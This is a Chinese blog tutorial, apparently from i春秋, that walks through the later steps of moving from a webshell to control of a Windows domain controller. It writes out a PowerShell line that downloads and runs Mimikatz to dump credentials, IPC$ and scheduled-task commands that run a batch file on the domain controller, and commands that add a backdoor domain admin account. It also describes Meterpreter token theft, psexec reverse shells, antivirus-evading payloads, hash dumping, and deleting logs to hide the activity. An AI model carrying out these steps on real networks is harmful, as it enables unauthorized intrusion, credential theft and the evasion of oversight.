内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。总结了一些知识点分享给大家:

本文作者:i春秋签约作家——shuteer

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

  • 免杀payload的生成,请使用Veil
  • msf在meterpreter下的提权尝试
  • msf在meterpreter下的bypassuac尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter的路由添加以及相关扫描
  • Powershell在meterpreter下面的使用
  • Meterpreter的post模块使用
  • Msf的custom自己生成的payload的使用
  • 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

A 堡垒机(webshell所在机器):windows server 2012

B 堡垒机:windows 2008(powershell扫描机器)

C 堡垒机:有域管理进程的机器windows server 2012

D 堡垒机若干

第八步 Poershell获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:

1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说

2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说

3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:

1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-Object 
Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz 
-DumpCreds”

2 第二种方式是把powershell文件上传到堡垒机本地执行, powershell.exe -exec 
bypass -Command “& {Import-Module .\powerview.ps1; 
Invoke-UserHunter}”

3 上传到对方本地,然后Import-Module导入,使用。

PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。

1.png

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

2.png

3.png

第九步 域控管理员权限的获取(windows2012权限)

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:

1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)

2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限

3 msf的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

1 同样使用ipc经典入侵手法,反弹meterpreter,

Getsysttem 权限

Ps 查看域管理所在的进程

Migrate pid注入进程

2 继续经典的IPC$到域控

Meterpreter下面shell

Net use \\域控ip\c$

Net time \\域控ip

Copy bat.bat \\域控ip\c$

At \\域控ip time c:\bat.bat(意料之外的错误,提示schtasks.exe,不熟)

3 通往成功的路不只有一条,添加域管账户

Net user demo demo /ad /domain

Net group “domain admins” demo /ad /domain

到了此刻,我们已经拥有域管权限了。详细的截图如下:

4.png

5.png

6.png

第十步 域控我来了(msf p**ec反弹shell)

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。

先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大

家也大家也都知道的:

1 端口转发或者socks登录域控远程桌面

2 登录对方内网的一台电脑使用p**ec来反弹shell

3 使用msf的p**ec反弹meterpreter

反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:

1 msf中p**ec模块的使用

2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload

详细的使用过程如下图:

7.png

8.png

9.png

10.png

第十一步 Meterpreter获取所有用户的hash

有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:

1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.

2 powershell有可以直接导出的模块,大家自行尝试一下

3 wce,mimikatz等神器的使用

在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:

11.png

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。

12.png

根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2

session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。

第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:

1 删除之前添加的域管理账号

2 删除所有的使用过程中的工具

3 删除自己所有的操作记录

4 关闭所有的meterpreter

在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。

13.png

14.png

总结

总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。